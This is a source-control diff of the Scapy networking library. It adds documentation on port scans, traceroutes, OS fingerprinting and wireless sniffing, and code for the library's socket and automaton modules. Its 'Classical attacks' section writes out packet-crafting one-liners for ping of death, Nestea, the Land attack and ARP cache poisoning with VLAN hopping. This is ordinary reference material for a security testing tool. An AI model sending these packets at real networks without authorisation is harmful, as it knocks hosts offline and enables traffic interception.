src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
The output above can be reimported back into Scapy using ``import_object()``::
>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
Sessions
^^^^^^^^
At last Scapy is capable of saving all session variables using the ``save_session()`` function:
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")
Next time you start Scapy you can load the previous saved session using the ``load_session()`` command::
>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
Making tables
-------------
@ -805,26 +1057,117 @@ you can have a kind of FakeAP::
Simple one-liners
=================
ACK Scan
--------
Using Scapy's powerful packet crafting facilities we can quick replicate classic TCP Scans.
For example, the following string will be sent to simulate an ACK Scan::
>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
We can find unfiltered ports in answered packets::
>>> for s,r in ans:
... if s[TCP].dport == r[TCP].sport:
... print str(s[TCP].dport) + " is unfiltered"
Similarly, filtered ports can be found with unanswered packets::
>>> for s in unans:
... print str(s[TCP].dport) + " is filtered"
Xmas Scan
---------
Xmas Scan can be launced using the following command::
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )
Checking RST responses will reveal closed ports on the target.
IP Scan
-------
A lower level IP Scan can be used to enumerate supported protocols::
>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
ARP Ping
--------
The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method::
>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
Answers can be reviewed with the following command::
>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy also includes a built-in arping() function which performs similar to the above two commands:
>>> arping("192.168.1.*")
ICMP Ping
---------
Classical ICMP Ping can be emulated using the following command::
>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
Information on live hosts can be collected with the following request::
>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )
TCP Ping
--------
In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below::
>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
Any response to our probes will indicate a live host. We can collect results with the following command::
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
UDP Ping
--------
If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0::
>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
Once again, results can be collected with this command:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Classical attacks
-----------------
Malformed packets::
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping of death (Muuahahah)::
send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Nestea attack::
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Land attack (designed for Microsoft Windows)::
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
ARP cache poisoning
-------------------
@ -833,12 +1176,12 @@ its ARP cache through a VLAN hopping attack.
Classic ARP cache poisoning::
send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
ARP cache poisoning with double 802.1q encapsulation::
send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
@ -847,14 +1190,14 @@ TCP Port Scanning
Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error::
res,unans = sr( IP(dst="target")
>>> res,unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
Possible result visualization: open ports
::
res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
IKE Scanning
@ -863,31 +1206,74 @@ IKE Scanning
We try to identify VPN concentrators by sending ISAKMP Security Association proposals
and receiving the answers::
res,unans = sr( IP(dst="192.168.1.*")/UDP()
>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
Visualizing the results in a list::
res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
Advanced traceroute
-------------------
TCP SYN traceroute
^^^^^^^^^^^^^^^^^^
::
>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
Results would be::
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
UDP traceroute
--------------
^^^^^^^^^^^^^^
Tracerouting an UDP application like we do with TCP is not
reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP,
NTP, etc.) to deserve an answer::
res,unans = sr(IP(dst="target", ttl=(1,20))
>>> res,unans = sr(IP(dst="target", ttl=(1,20))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
We can visualize the results as a list of routers::
res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
DNS traceroute
^^^^^^^^^^^^^^
We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function::
>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
Etherleaking
------------
@ -919,6 +1305,20 @@ make a packet jump to another VLAN::
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
Wireless sniffing
-----------------
The following command will display information similar to most wireless sniffers::
>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
The above command will produce output similar to the one below::
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy
44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
Recipes
=======
@ -931,7 +1331,7 @@ This program uses the ``sniff()`` callback (paramter prn). The store parameter i
::
#! /usr/bin/env python
from scapy import *
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
@ -992,6 +1392,7 @@ See also
http://en.wikipedia.org/wiki/Rogue_DHCP
Firewalking
-----------
@ -1010,6 +1411,23 @@ only his own NICs IP are reachable with this TTL::
>>> for i in unans: print i.dst
TCP Timestamp Filtering
------------------------
Problem
^^^^^^^
Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners.
Solution
^^^^^^^^
To allow Scapy to reach target destination additional options must be used::
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
Viewing packets with Wireshark
------------------------------
@ -1042,4 +1460,61 @@ You can tell Scapy where to find the Wireshark executable by changing the ``conf
OS Fingerprinting
-----------------
ISN
^^^
Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop::
>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
Once we obtain a reasonable number of responses we can start analyzing collected data with something like this:
>>> temp = 0
>>> for s,r in ans:
... temp = r[TCP].seq - temp
... print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328 +4275758673
4279655607 +3896934
4280642461 +4276745527
4281648240 +4902713
4282645099 +4277742386
4283643696 +5901310
nmap_fp
^^^^^^^
If you have nmap installed you can use it's active os fingerprinting database with Scapy. First make sure that version 1 of signature database is located in the path specified by::
>>> conf.nmap_base
Scapy includes a built-in ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine::
>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
p0f
^^^
If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by::
>>> conf.p0f_base
For example to guess OS from a single captured packet:
>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
-> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>

View File

@ -1,3 +1,3 @@
#! /bin/sh
DIR=$(dirname $0)
PYTHONPATH=$DIR exec python -m scapy/
PYTHONPATH=$DIR exec python -m scapy.__init__

View File

@ -333,7 +333,7 @@ class L3PacketSocket(SuperSocket):
for i in self.iff:
set_promisc(self.ins, i, 0)
SuperSocket.close(self)
def recv(self, x):
def recv(self, x=MTU):
pkt, sa_ll = self.ins.recvfrom(x)
if sa_ll[2] == socket.PACKET_OUTGOING:
return None
@ -382,7 +382,7 @@ class L3PacketSocket(SuperSocket):
except socket.error,msg:
x.sent_time = time.time() # bad approximation
if conf.auto_fragment and msg[0] == 90:
for p in fragment(x):
for p in x.fragment():
self.outs.sendto(str(ll(p)), sdto)
else:
raise
@ -419,7 +419,7 @@ class L2Socket(SuperSocket):
self.LL = conf.default_l2
warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],self.LL.name))
def recv(self, x):
def recv(self, x=MTU):
pkt, sa_ll = self.ins.recvfrom(x)
if sa_ll[2] == socket.PACKET_OUTGOING:
return None

View File

@ -102,7 +102,7 @@ if conf.use_pcap:
def close(self):
del(self.ins)
def recv(self, x):
def recv(self, x=MTU):
ll = self.ins.datalink()
if ll in conf.l2types:
cls = conf.l2types[ll]
@ -292,7 +292,7 @@ if conf.use_pcap and conf.use_dnet:
if filter:
self.ins.setfilter(filter)
self.outs = dnet.eth(iface)
def recv(self,x):
def recv(self,x=MTU):
ll = self.ins.datalink()
if ll in conf.l2types:
cls = conf.l2types[ll]

View File

@ -3,13 +3,59 @@
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license
import types,itertools,time
from __future__ import with_statement
import types,itertools,time,os,sys
from select import select
from collections import deque
import thread
from config import conf
from utils import do_graph
from error import log_interactive
from plist import PacketList
from data import MTU
from supersocket import SuperSocket
class ObjectPipe:
def __init__(self):
self.rd,self.wr = os.pipe()
self.queue = deque()
def fileno(self):
return self.rd
def send(self, obj):
self.queue.append(obj)
os.write(self.wr,"X")
def recv(self, n=0):
os.read(self.rd,1)
return self.queue.popleft()
class Message:
def __init__(self, **args):
self.__dict__.update(args)
def __repr__(self):
return "<Message %s>" % " ".join("%s=%r"%(k,v)
for (k,v) in self.__dict__.iteritems()
if not k.startswith("_"))
class _instance_state:
def __init__(self, instance):
self.im_self = instance.im_self
self.im_func = instance.im_func
self.im_class = instance.im_class
def __getattr__(self, attr):
return getattr(self.im_func, attr)
def __call__(self, *args, **kargs):
return self.im_func(self.im_self, *args, **kargs)
def breaks(self):
return self.im_self.add_breakpoints(self.im_func)
def intercepts(self):
return self.im_self.add_interception_points(self.im_func)
def unbreaks(self):
return self.im_self.remove_breakpoints(self.im_func)
def unintercepts(self):
return self.im_self.remove_interception_points(self.im_func)
##############
## Automata ##
@ -21,6 +67,7 @@ class ATMT:
CONDITION = "Condition"
RECV = "Receive condition"
TIMEOUT = "Timeout condition"
IOEVENT = "I/O event"
class NewStateRequested(Exception):
def __init__(self, state_func, automaton, *args, **kargs):
@ -40,6 +87,8 @@ class ATMT:
return self
def run(self):
return self.func(self.automaton, *self.args, **self.kargs)
def __repr__(self):
return "NewStateRequested(%s)" % self.state
@staticmethod
def state(initial=0,final=0,error=0):
@ -89,6 +138,17 @@ class ATMT:
return f
return deco
@staticmethod
def ioevent(state, name, prio=0, as_supersocket=None):
def deco(f, state=state):
f.atmt_type = ATMT.IOEVENT
f.atmt_state = state.atmt_state
f.atmt_condname = f.func_name
f.atmt_ioname = name
f.atmt_prio = prio
f.atmt_as_supersocket = as_supersocket
return f
return deco
@staticmethod
def timeout(state, timeout):
def deco(f, state=state, timeout=timeout):
f.atmt_type = ATMT.TIMEOUT
@ -98,6 +158,58 @@ class ATMT:
return f
return deco
class _ATMT_Command:
RUN = "RUN"
NEXT = "NEXT"
FREEZE = "FREEZE"
STOP = "STOP"
END = "END"
EXCEPTION = "EXCEPTION"
SINGLESTEP = "SINGLESTEP"
BREAKPOINT = "BREAKPOINT"
INTERCEPT = "INTERCEPT"
ACCEPT = "ACCEPT"
REPLACE = "REPLACE"
REJECT = "REJECT"
class _ATMT_supersocket(SuperSocket):
def __init__(self, name, ioevent, automaton, proto, args, kargs):
self.name = name
self.ioevent = ioevent
self.proto = proto
self.spa,self.spb = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM)
kargs["external_fd"] = {ioevent:self.spb}
self.atmt = automaton(*args, **kargs)
self.atmt.runbg()
def fileno(self):
return self.spa.fileno()
def send(self, s):
if type(s) is not str:
s = str(s)
return self.spa.send(s)
def recv(self, n=MTU):
r = self.spa.recv(n)
if self.proto is not None:
r = self.proto(r)
return r
def close(self):
pass
def sr(self, *args, **kargs):
return sndrcv(self, *args, **kargs)
def sr1(self, *args, **kargs):
a,b = sndrcv(self, *args, **kargs)
if len(a) > 0:
return a[0][1]
else:
return None
class _ATMT_to_supersocket:
def __init__(self, name, ioevent, automaton):
self.name = name
self.ioevent = ioevent
self.automaton = automaton
def __call__(self, proto, *args, **kargs):
return _ATMT_supersocket(self.name, self.ioevent, self.automaton, proto, args, kargs)
class Automaton_metaclass(type):
def __new__(cls, name, bases, dct):
@ -106,9 +218,12 @@ class Automaton_metaclass(type):
cls.state = None
cls.recv_conditions={}
cls.conditions={}
cls.ioevents={}
cls.timeout={}
cls.actions={}
cls.initial_states=[]
cls.ionames = []
cls.iosupersockets = []
members = {}
classes = [cls]
@ -127,11 +242,12 @@ class Automaton_metaclass(type):
s = m.atmt_state
cls.states[s] = m
cls.recv_conditions[s]=[]
cls.ioevents[s]=[]
cls.conditions[s]=[]
cls.timeout[s]=[]
if m.atmt_initial:
cls.initial_states.append(m)
elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT]:
elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]:
cls.actions[m.atmt_condname] = []
for m in decorated:
@ -139,6 +255,11 @@ class Automaton_metaclass(type):
cls.conditions[m.atmt_state].append(m)
elif m.atmt_type == ATMT.RECV:
cls.recv_conditions[m.atmt_state].append(m)
elif m.atmt_type == ATMT.IOEVENT:
cls.ioevents[m.atmt_state].append(m)
cls.ionames.append(m.atmt_ioname)
if m.atmt_as_supersocket is not None:
cls.iosupersockets.append(m)
elif m.atmt_type == ATMT.TIMEOUT:
cls.timeout[m.atmt_state].append((m.atmt_timeout, m))
elif m.atmt_type == ATMT.ACTION:
@ -150,14 +271,17 @@ class Automaton_metaclass(type):
v.sort(lambda (t1,f1),(t2,f2): cmp(t1,t2))
v.append((None, None))
for v in itertools.chain(cls.conditions.itervalues(),
cls.recv_conditions.itervalues()):
cls.recv_conditions.itervalues(),
cls.ioevents.itervalues()):
v.sort(lambda c1,c2: cmp(c1.atmt_prio,c2.atmt_prio))
for condname,actlst in cls.actions.iteritems():
actlst.sort(lambda c1,c2: cmp(c1.atmt_cond[condname], c2.atmt_cond[condname]))
for ioev in cls.iosupersockets:
setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls))
return cls
def graph(self, **kargs):
s = 'digraph "%s" {\n' % self.__class__.__name__
@ -177,7 +301,9 @@ class Automaton_metaclass(type):
s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state,n)
for c,k,v in [("purple",k,v) for k,v in self.conditions.items()]+[("red",k,v) for k,v in self.recv_conditions.items()]:
for c,k,v in ([("purple",k,v) for k,v in self.conditions.items()]+
[("red",k,v) for k,v in self.recv_conditions.items()]+
[("orange",k,v) for k,v in self.ioevents.items()]):
for f in v:
for n in f.func_code.co_names+f.func_code.co_consts:
if n in self.states:
@ -203,37 +329,170 @@ class Automaton_metaclass(type):
class Automaton:
__metaclass__ = Automaton_metaclass
def __init__(self, *args, **kargs):
self.debug_level=0
self.init_args=args
self.init_kargs=kargs
self.parse_args(*args, **kargs)
def debug(self, lvl, msg):
if self.debug_level >= lvl:
log_interactive.debug(msg)
class ErrorState(Exception):
def __init__(self, msg, result=None):
Exception.__init__(self, msg)
self.result = result
class Stuck(ErrorState):
pass
## Methods to overload
def parse_args(self, debug=0, store=1, **kargs):
self.debug_level=debug
self.socket_kargs = kargs
self.store_packets = store
self.store_packets = store
def master_filter(self, pkt):
return True
def run_condition(self, cond, *args, **kargs):
def my_send(self, pkt):
self.send_sock.send(pkt)
## Utility classes and exceptions
class _IO_fdwrapper:
def __init__(self,rd,wr):
if rd is not None and type(rd) is not int:
rd = rd.fileno()
if wr is not None and type(wr) is not int:
wr = wr.fileno()
self.rd = rd
self.wr = wr
def fileno(self):
return self.rd
def read(self, n=65535):
return os.read(self.rd, n)
def write(self, msg):
return os.write(self.wr,msg)
def recv(self, n=65535):
return self.read(n)
def send(self, msg):
return self.write(msg)
class _IO_mixer:
def __init__(self,rd,wr):
self.rd = rd
self.wr = wr
def fileno(self):
if type(self.rd) is int:
return self.rd
return self.rd.fileno()
def recv(self, n=None):
return self.rd.recv(n)
def read(self, n=None):
return self.rd.recv(n)
def send(self, msg):
return self.wr.send(msg)
def write(self, msg):
return self.wr.send(msg)
class AutomatonException(Exception):
def __init__(self, msg, state=None, result=None):
Exception.__init__(self, msg)
self.state = state
self.result = result
class AutomatonError(AutomatonException):
pass
class ErrorState(AutomatonException):
pass
class Stuck(AutomatonException):
pass
class AutomatonStopped(AutomatonException):
pass
class Breakpoint(AutomatonStopped):
pass
class Singlestep(AutomatonStopped):
pass
class InterceptionPoint(AutomatonStopped):
def __init__(self, msg, state=None, result=None, packet=None):
Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result)
self.packet = packet
class CommandMessage(AutomatonException):
pass
## Services
def debug(self, lvl, msg):
if self.debug_level >= lvl:
log_interactive.debug(msg)
def send(self, pkt):
if self.state.state in self.interception_points:
self.debug(3,"INTERCEPT: packet intercepted: %s" % pkt.summary())
self.intercepted_packet = pkt
cmd = Message(type = _ATMT_Command.INTERCEPT, state=self.state, pkt=pkt)
self.cmdout.send(cmd)
cmd = self.cmdin.recv()
self.intercepted_packet = None
if cmd.type == _ATMT_Command.REJECT:
self.debug(3,"INTERCEPT: packet rejected")
return
elif cmd.type == _ATMT_Command.REPLACE:
pkt = cmd.pkt
self.debug(3,"INTERCEPT: packet replaced by: %s" % pkt.summary())
elif cmd.type == _ATMT_Command.ACCEPT:
self.debug(3,"INTERCEPT: packet accepted")
else:
raise self.AutomatonError("INTERCEPT: unkown verdict: %r" % cmd.type)
self.my_send(pkt)
self.debug(3,"SENT : %s" % pkt.summary())
self.packets.append(pkt.copy())
## Internals
def __init__(self, *args, **kargs):
external_fd = kargs.pop("external_fd",{})
self.send_sock_class = kargs.pop("ll", conf.L3socket)
self.started = thread.allocate_lock()
self.threadid = None
self.breakpointed = None
self.breakpoints = set()
self.interception_points = set()
self.intercepted_packet = None
self.debug_level=0
self.init_args=args
self.init_kargs=kargs
self.io = type.__new__(type, "IOnamespace",(),{})
self.oi = type.__new__(type, "IOnamespace",(),{})
self.cmdin = ObjectPipe()
self.cmdout = ObjectPipe()
self.ioin = {}
self.ioout = {}
for n in self.ionames:
extfd = external_fd.get(n)
if type(extfd) is not tuple:
extfd = (extfd,extfd)
ioin,ioout = extfd
if ioin is None:
ioin = ObjectPipe()
elif type(ioin) is not types.InstanceType:
ioin = self._IO_fdwrapper(ioin,None)
if ioout is None:
ioout = ObjectPipe()
elif type(ioout) is not types.InstanceType:
ioout = self._IO_fdwrapper(None,ioout)
self.ioin[n] = ioin
self.ioout[n] = ioout
ioin.ioname = n
ioout.ioname = n
setattr(self.io, n, self._IO_mixer(ioout,ioin))
setattr(self.oi, n, self._IO_mixer(ioin,ioout))
for stname in self.states:
setattr(self, stname,
_instance_state(getattr(self, stname)))
self.parse_args(*args, **kargs)
self.start()
def __iter__(self):
return self
def __del__(self):
self.stop()
def _run_condition(self, cond, *args, **kargs):
try:
self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname))
cond(self,*args, **kargs)
except ATMT.NewStateRequested, state_req:
self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state))
@ -243,33 +502,88 @@ class Automaton:
self.debug(2, " + Running action [%s]" % action.func_name)
action(self, *state_req.action_args, **state_req.action_kargs)
raise
except Exception,e:
self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e))
raise
else:
self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname))
def run(self, *args, **kargs):
# Update default parameters
a = args+self.init_args[len(args):]
k = self.init_kargs
k.update(kargs)
self.parse_args(*a,**k)
def _do_start(self, *args, **kargs):
thread.start_new_thread(self._do_control, args, kargs)
# Start the automaton
self.state=self.initial_states[0](self)
self.send_sock = conf.L3socket()
l = conf.L2listen(**self.socket_kargs)
self.packets = PacketList(name="session[%s]"%self.__class__.__name__)
while 1:
def _do_control(self, *args, **kargs):
with self.started:
self.threadid = thread.get_ident()
# Update default parameters
a = args+self.init_args[len(args):]
k = self.init_kargs.copy()
k.update(kargs)
self.parse_args(*a,**k)
# Start the automaton
self.state=self.initial_states[0](self)
self.send_sock = self.send_sock_class()
self.listen_sock = conf.L2listen(**self.socket_kargs)
self.packets = PacketList(name="session[%s]"%self.__class__.__name__)
singlestep = True
iterator = self._do_iter()
self.debug(3, "Starting control thread [tid=%i]" % self.threadid)
try:
while True:
c = self.cmdin.recv()
self.debug(5, "Received command %s" % c.type)
if c.type == _ATMT_Command.RUN:
singlestep = False
elif c.type == _ATMT_Command.NEXT:
singlestep = True
elif c.type == _ATMT_Command.FREEZE:
continue
elif c.type == _ATMT_Command.STOP:
break
while True:
state = iterator.next()
if isinstance(state, self.CommandMessage):
break
elif isinstance(state, self.Breakpoint):
c = Message(type=_ATMT_Command.BREAKPOINT,state=state)
self.cmdout.send(c)
break
if singlestep:
c = Message(type=_ATMT_Command.SINGLESTEP,state=state)
self.cmdout.send(c)
break
except StopIteration,e:
c = Message(type=_ATMT_Command.END, result=e.args[0])
self.cmdout.send(c)
except Exception,e:
self.debug(3, "Transfering exception [%s] from tid=%i"% (e,self.threadid))
m = Message(type = _ATMT_Command.EXCEPTION, exception=e, exc_info=sys.exc_info())
self.cmdout.send(m)
self.debug(3, "Stopping control thread (tid=%i)"%self.threadid)
self.threadid = None
def _do_iter(self):
while True:
try:
self.debug(1, "## state=[%s]" % self.state.state)
# Entering a new state. First, call new state function
if self.state.state in self.breakpoints and self.state.state != self.breakpointed:
self.breakpointed = self.state.state
yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state,
state = self.state.state)
self.breakpointed = None
state_output = self.state.run()
if self.state.error:
raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), result=state_output)
raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output),
result=state_output, state=self.state.state)
if self.state.final:
return state_output
raise StopIteration(state_output)
if state_output is None:
state_output = ()
elif type(state_output) is not list:
@ -277,54 +591,146 @@ class Automaton:
# Then check immediate conditions
for cond in self.conditions[self.state.state]:
self.run_condition(cond, *state_output)
self._run_condition(cond, *state_output)
# If still there and no conditions left, we are stuck!
if ( len(self.recv_conditions[self.state.state]) == 0
and len(self.timeout[self.state.state]) == 1 ):
raise self.Stuck("stuck in [%s]" % self.state.state,result=state_output)
if ( len(self.recv_conditions[self.state.state]) == 0 and
len(self.ioevents[self.state.state]) == 0 and
len(self.timeout[self.state.state]) == 1 ):
raise self.Stuck("stuck in [%s]" % self.state.state,
state=self.state.state, result=state_output)
# Finally listen and pay attention to timeouts
expirations = iter(self.timeout[self.state.state])
next_timeout,timeout_func = expirations.next()
t0 = time.time()
fds = [self.cmdin]
if len(self.recv_conditions[self.state.state]) > 0:
fds.append(self.listen_sock)
for ioev in self.ioevents[self.state.state]:
fds.append(self.ioin[ioev.atmt_ioname])
while 1:
t = time.time()-t0
if next_timeout is not None:
if next_timeout <= t:
self.run_condition(timeout_func, *state_output)
self._run_condition(timeout_func, *state_output)
next_timeout,timeout_func = expirations.next()
if next_timeout is None:
remain = None
else:
remain = next_timeout-t
r,_,_ = select([l],[],[],remain)
if l in r:
pkt = l.recv(MTU)
if pkt is not None:
if self.master_filter(pkt):
self.debug(3, "RECVD: %s" % pkt.summary())
for rcvcond in self.recv_conditions[self.state.state]:
self.run_condition(rcvcond, pkt, *state_output)
else:
self.debug(4, "FILTR: %s" % pkt.summary())
self.debug(5, "Select on %r" % fds)
r,_,_ = select(fds,[],[],remain)
self.debug(5, "Selected %r" % r)
for fd in r:
self.debug(5, "Looking at %r" % fd)
if fd == self.cmdin:
yield self.CommandMessage("Received command message")
elif fd == self.listen_sock:
pkt = self.listen_sock.recv(MTU)
if pkt is not None:
if self.master_filter(pkt):
self.debug(3, "RECVD: %s" % pkt.summary())
for rcvcond in self.recv_conditions[self.state.state]:
self._run_condition(rcvcond, pkt, *state_output)
else:
self.debug(4, "FILTR: %s" % pkt.summary())
else:
self.debug(3, "IOEVENT on %s" % fd.ioname)
